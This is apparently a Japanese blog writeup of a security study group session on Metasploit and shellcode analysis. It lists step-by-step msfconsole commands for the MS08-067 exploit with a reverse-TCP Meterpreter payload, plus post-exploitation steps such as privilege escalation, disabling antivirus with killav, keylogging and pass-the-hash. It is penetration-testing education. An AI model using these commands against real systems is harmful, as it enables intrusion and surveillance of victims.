まっちゃ445勉強会本編のメモ
テーマ:実践Metasploitな日♪
当日のTweetまとめ By piyokangoさん
第20回まっちゃ445勉強会の別のエントリーは以下です。
成果物(一部書籍はイメージです)
Session1:「すべらないMetasploit実演〜今日からあなたもMetasploiter!」
NTTセキュアプラットフォーム研究所 川古谷裕平さん
・研究内容
・マルウエア解析技術
・ハニーポット技術を研究しています
Metasploit歴は、2年くらい、Exploitモジュールをメインに使っている
監訳作業で、理解した感じ
アナライジングマルウエアが著書
・リバースエンジニアリング入門(@IT)を書いています。
・かなりマニアックw
・Metasploit(+実践Metasploit)の機能紹介
全体像、実際のMetasploitのデモ
Backtrack5を使ったデモ
・基本編、応用編、上級編(要Ruby)、付録
使いこなす人(^o^)/
監訳人手が上がらないwwwwww
・使い込んでるっていう人は少ないと思います。
・基本編を流し読みしてもらって、応用編で学んでもらえればと思います。
・基本編
Metasploitの基本技術が1-6章で書かれている
一通りの使い方が理解できる
・情報収集
・Exploitをどう使うか
・PostExploit(Exploitを行った後)
・応用編
改造テクニックとかより使いやすいようにする手法
・上級編
MetasploitはRubyで書かれているので、自分でツールを拡張やモジュールを拡張すると
Rubyの知識が必要となる、Rubyの文法を覚えてから上級編を触るとよい
・付録A
結構良かったところ、ターゲットのOSやアプリをどうするかというのを、記載されている
コマンドは、すべて監訳人が検証している。
Backtrack 14703で検証済み
リビジョンが変わると、Metasploit本の検証が動かない?(バルカン)
→ 週くらいなら大丈夫だけど、古いとモジュールそのものがなくなったりする
リビジョンが原書にはなかった(宮本)
・Metasploitとその周辺ツールの関係
データベースとかが連携して動作している
Metasploitなのか、外部ツールの機能なのかわからなくなってくる
Metasploitユーザから、Metsploitを見ると、インターフェースから見えてくる
Coreライブラリ+モジュール(Exploitモジュール、Auxilaryモジュール)
・MSFconsole
・MSFpayload(ユーティリティ:特定の機能のためのインターフェース)
・MSFencode(ユーティリティ:特定の機能のためのインターフェース)
・Armitage(GUI経由)
・MSFcli
・それ以外にも様々なツールが連携している
・Karma:無線LAN系
・Fast-Track:攻撃の受動化
・SET:ソーシャルエンジニアリングツールキット
→ Metasploitを利用するツール
・Metasploitが使うツール
・Nessus
・NeXpose
・Nmap
→ Metasploitのプラグイン経由で使う
ツールと連携するためにデータベースがある
NessusやNmapの結果から、Metasploitから活用できる
→ スキャンから攻撃までシームレスに対応できる
→ BacktrackはMysqlサポートしていない、Postgresしかサポートしていない
Postgres対応の構成が必要、Postgresの権限系をしっかり確認しないと動かない
Mysqlのコンフィグがあったら動かない・・・・(ここ要注意)(宮本)
・BacktrackはPostgresが自動起動する、DB確認で、接続状況も確認できると思う。
・Metasploitの中を詳細に。。。
・ディレクトリ構成
・/pot/framework/msf3がroot
・lib:コアライブラリのRubyファイル
・modules
・Exploitが入っていたり
・Auxualryはその他のファイルが入っている
・Sniffer,Scannerとか入っている
・Post
PostExloitが入っているモジュール
・Payload
Exploitと一緒に使うShellコード、制御乗っ取った後に一番最初に動かすペイロードは何?ってやつ
・Script
Metapriter:制御を乗っ取った後に、ターゲットとのセッションを張ってその上で動かせるもの
・ペネトレーションテストの3つのステップ
・情報収集
どういうマシンが入っているのか情報収集
・インテリジェンスギャザリング
・脆弱性スキャン
・Exploit(制御を奪うまで)
まず最初に一歩。制御を奪う手法
・サーバサイド攻撃
・クライアントサイド攻撃
・ポストExploit
Exploitした後に被害を広げる攻撃
・Meterperter
・cmd.exe
・デモ
・情報収集
外部のツールに頼っているところがある、外部ツールの結果を利用する
そのための連携の糊付けの仕組みとして、データベースを持っている
NessusやNmapの結果をデータベースに保存、Metasploitがデータベースから対象情報を取得
msfconsoleで管理画面を起動
→ そこから、nmapとかを起動
まずdb status でデータベースが接続されているか確認
DBにnmapのデータを入れるために・・・
・db_nmap -sS xxx.xxx.xxx.xxx で実行
hostsと打つと、情報が格納されているホスト一覧が出る
servicesでポート情報が出る
vulnsは、Nessusの結果で情報が入ってくる
・Nessusを利用して脆弱性スキャン
Nessusをインストールを実施
Scanでターゲットのレンジ等を設定してスキャンを実施する
スキャンが完了するとレポートに脆弱性があるか確認できる
Metasploitの機能じゃなく、Nessusの機能
・Metasploitと連携するときは、Download Metasploitを実施して、XMLで保存する
nessus_report_demo1_nessusというファイルができる
db_import nessus_report_demo1.nessusでインポートができる
・脆弱性スキャン結果がデータベースに保存される
OSやMACアドレス等の確認ができる
Vulnsで脆弱性情報が確認できる
どのIPがどの脆弱性が空いているか、空いている者から自動的に攻撃ストーリーを作ることができる
・実際のExploit
サーバサイドExloit
・モジュール検索
・search [keyword]でモジュール名を出力してくれる
search MS11_011とか
・use [モジュール名]でモジュールを利用可能
info モジュール詳細情報が出る
・show Exploits
Show auxilary
show options
show payloads
show targes
・exloitで、バックグラウンドでセッションが確立する
set unsetでオプションを設定
ShowオプションでRequiredがYESになっている者は必須でオプション設定が必要
PAYLOAD、RHOST/RPORTがだいたい設定必要
LHOSTS/LPORTはペイロードによって必要
・exploitでセッションを確立、-jでバックグラウンドでセッションを確立
-jがないと、フォアグラウンドで、セッションが有効化する
一度に大量のマシンに攻撃したい場合は、-jでバックグラウンド化する
use exploit/windows/smb/ms08_067_netapi
show opstionsでオプションの有無を確認
set RHOST xxx.xxx.xxx.xxxで攻撃先のIPを設定(RHOSTS)オプションを設定
set PAYLOAD windows/meterpreter/reverse_tcpを設定
show opstionsで、自分のIP(LHOSTS)を設定
Payloadで設定項目がある
explotで実行すれば、攻撃が実行して、Metapreterでコマンドが返ってくると成功
コンピュータを操作できる状態
ここまでがExploitのフェーズ
・postexploit
metapreterがPostExploitのメインのツール
攻撃が成功すると、Metapreterのセッションが起動して、セッションが確立する
PostExploitモジュールが色々格納されている、乗っ取ったターゲットを侵害して
乗っ取ったマシンを起点として、次の攻撃をしていくためのツール
・Metapreterコマンド抜粋(6章)
・ps:プロセス一覧
・migrate:帰属するプロセスを変える(どのプロセスにMeterpriterを埋め込むか?)
IEの脆弱性の場合、IEを閉じればセッションが終了する、Migrateで安定したプロセスに移行できる
・use priv/getsystemでシステム権限を取得
・run killavでアンチウイルス、FireWallを無効化
・run checkvmでVM環境かチェック
・run VNCでVNC接続する
・デモ
Metapreterのデモ
乗っ取った後に侵害されたのちに、同攻撃していくか
社内マシンの1台から、社内ネットワークに攻撃してく
・sysinfoで乗っ取ったマシンの情報を確認できる
get pidでターゲットのPIDで確立しているのか?ってのを確認できる
psコマンドで、ターゲットのプロセス一覧を確認できる
svchost.exeなので、安定
migrate 4088(explorer.exeのプロセスID)でプロセスを移す
より安定したプロセスに移ることで、セッションを長く安定的に確保する
・use privやgetsystemでシステム権限を確認できる
・checkvmでVM環境か確認可能
・screenshotコマンドで画面を確保できる
・run post/windows/capture/keylog_recorderをするとキーロガーになる
キーロガーも設定できる
ピボッティング:外から中にパケットを中継したりできる
Pass-the-hash攻撃ができる
トークンの奪取をすることで、パスワードなしで侵入が可能
・手動のをリソースして自動化するデモ
1台だけの攻撃を3台でも自動的に攻撃ができるデモ
Scriptファイル
→ nmapをして、Port445があいているなら
→ MS08_067攻撃する
→ PostExploitですくりんショットを撮るという動き
Metapreterのセッションから、すくりんショットを撮っていく
・Metasploit作った人も言っているけど、攻撃が自動化されて、簡単にできるってのがわかったと思う
当たり前だけど悪用するな!
→ 一同(笑)
Session2:「できるシェルコード解析〜シェルコードを見るだけの簡単なお仕事」
NTTセキュアプラットフォーム研究所 岩村誠さん
・原著にはないパート(付録C)を書き下ろした。
・岩村誠、NTTむあさしの研究所
普段の仕事は、マルウエア対策の研究開発
ハニーポット、マルウエア解析
@ITリバースエンジニアリング入門とか
・@ITのリバースエンジニアリング入門を書いている
話したい以上のことが書かれている、リバースエンジニアリングといい
マルウエアを解析すると、重くて心が折れるので、Shellコードが小さいので
それを解析できるようになろう!って感じで書いている(全7回)
・ツールの紹介、Shellコードを理解する上での知識
PEフォーマットの説明とか
・付録Cのシェルコードを読み解くのお話
Metasploitには多くのShellコードが存在
多くはマシン語で書かれている
何をするのかは、Descriptionに書かれてるけど
悪さしているのか?ってのを確認するためのスキル
・ハニーポットでシェルコードが飛び込んでくるけど、Metasploitのシェルコードならいいけど
知らないのが出てきたら、何をするのかを確認するためのもの
Metasploitは品質は高いシェルコード、マルウエアと違ってサイズが小さい(短編集を読むような感じ)
読みながら、達成感を得られるものw
・第18回まっちゃ445にマルウエア祭りに参加
→ アンケートが公開されるという恐るべきシステムwwww
前回のが・・・・orz
・題材
・Linuxで動くx86シェルコード
予備知識がWindowsより少なくて済む
バックドアなMetasiplotな本物のやつ
・覚えることは最小限
・記憶領域について3つだけ
レジスタとメモリと(ちょっと特殊なメモリ)のスタック
・機械語命令を10種類だけ
mov xchg push pop inc dec mul xor int jns
・Linuxのシステムコールを3つだけ
・記憶領域
レジスタ→ 超速い記憶領域
汎用レジスタ
EAX,ECX,EDX,EBX
習うより慣れろwww(バルカン)覚えるより感じろwww(との)、マシン語の音を聞けwww(岩村)
EAX32ビット、をAXにすると16ビット、AH、ALなら8ビットでアクセス可能
メモリ
32ビットマシンなら、4GBののっぺりした配列
スタック
メモリ上に用意される、後入れ先出し(LIFO)のデータ構造
スタックのうち、データをPUSHするとつみあがっていく、x86は0番地に向かってつみあがっていく
スタックポインタで今の一番下が書かれる
・機械語命令10選
データ転送系
・MOVパラメータ2つとって、レジスタを2つとって、代入する
・XCHG、レジスタの値を交換する(EAXとEBXの値の交換を行う)
テンポラリレジスタが必要だけど、アトミックに値を入れ替えることができる
・PUSH/POP
スタックに値を出したり、取り出したりする
PUSH EAXはスタックにEAXを保存
・演算系
INC/DEC
INC EAXにするとEAXの値が1増える
DEC EAXにするとEAXの値が1減る
・MUL 掛け算
MUL EBX
EBX*EAXの結果をEDX:EAXへ代入
32ビット通しの掛け算をすると、64ビットになって、EDXとEAXでうまくけたを増やす
・XOR 排他的論理和
XOR EAX,EBX
EAXとEBXの排他的論理和の結果をEAXへ代入
0をねん出するために、XORを使う
・分岐
C言語のGOTO扱い
JNS 条件付きのジャンプ命令
ほかにも、JMP(ジャンプ)
レジスタの中に、フラグレジスタがあって(サインフラグ)分岐が決まる
SF(サインフラグ)が0の時に、Labelに飛ぶ感じ
SF(サインフラグ)は演算結果が負になった時に1になる
INT:ソフトウエア割り込み
INT 0x80
ユーザモードから、Kernelモードに移すための割り込み
ソフトウエア割り込み(0x80)を発生させる
Linuxでシステムコールを呼び出す仕組み
・Linuxシステムコールの呼び方
int 0x80でシステムコールを呼び出せる
どのシステムコールを呼んでるのか?ってのをEAXに設定
EAXにシステムコールのIDを設定(Kernelに載っているw)
EBX.ECX。。。に各システムコールに応じたパラメータを設定する
これで、システムコールを呼び出す
・sys_socketcall
ソケットがらみの機能を実現するシステムコール
よくネットワークプログラムで見るSocketやBINDとかが、このシステムコールで呼び出す
ECX以降に設定して、システムコールを呼ぶと動く
・sys_dup2
Duplicateの略、ファイルディスクリプタ(開いた得たファイルディスクリプタを標準入出力につなぎ変えたいときに使う)
・sys_execve
プログラム、プロセスを空間内にExeを読み込むもの
★これだけ!www
・デモ
msfpayload -lでペイロードを確認
シェルコードが見える(226個ある!)
aixから、PPCとかSparc、x86/windows・・・・Java等々
・今回は、linux/x86/shell_reverse_tcp
乗っ取ったプロセスから、攻撃元に対してTCPセッションを張替えして、TCPセッションを標準入出力で、シェルをEXECする
攻撃者が、netcatで待ち構えると、結果を見ることができる
・S(Summary)で攻撃者がどこのアドレスで待ち受けてるかっていうポート、IPとかが設定・確認できる
ペイロード設定する際には、hostアドレスをLHOST=192.168.x.xとかでファイルに出力する
・IDA pro Free版を使う
=====シェルコード解析デモ======
てか、何語?!?!?!!
ほかの方のレポート
F.Koryuさんによるレポート。鬼メモだ!!!
(matcha445)まっちゃ445勉強会#20
(matcha445)まっちゃ445勉強会#20 - Garbage Script on Goo BLOG
やまがたさん久しぶりにあった気がするw
最近、当日になって初めて、「え、今日はまっちゃ445の日だったの?」と気づいたりすることが多かったのですが、今回はひさしぶりに参加受付中に気づくことができました。(原因を探ったら、まっちゃ445のMLを受け取っていたメールアカウントが容量オーバーでメール受け取れてなかったというw)
a threadless kite - 糸の切れた凧(2012-06-30)